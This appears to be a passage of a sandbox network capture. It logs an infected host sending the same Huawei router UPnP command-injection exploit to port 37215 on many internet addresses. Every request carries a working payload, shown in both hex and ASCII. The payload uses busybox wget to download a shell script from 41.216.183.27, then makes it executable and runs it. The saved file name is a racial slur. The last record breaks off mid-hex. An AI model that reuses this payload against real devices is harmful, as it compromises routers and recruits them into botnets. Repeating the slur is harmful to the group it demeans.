Feb 19, 2024 18:37:28.096530914 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.15	36942	94.121.18.154	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:28.889302015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.15	51564	94.122.58.107	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.122850895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.15	58414	94.122.20.156	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.123053074 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.15	59494	94.122.235.149	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.125741005 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.15	46844	94.123.132.111	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.135998011 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.15	50608	94.120.31.100	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.136147022 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.15	57888	94.122.90.78	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.137307882 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.15	48042	45.195.113.27	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.345170975 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 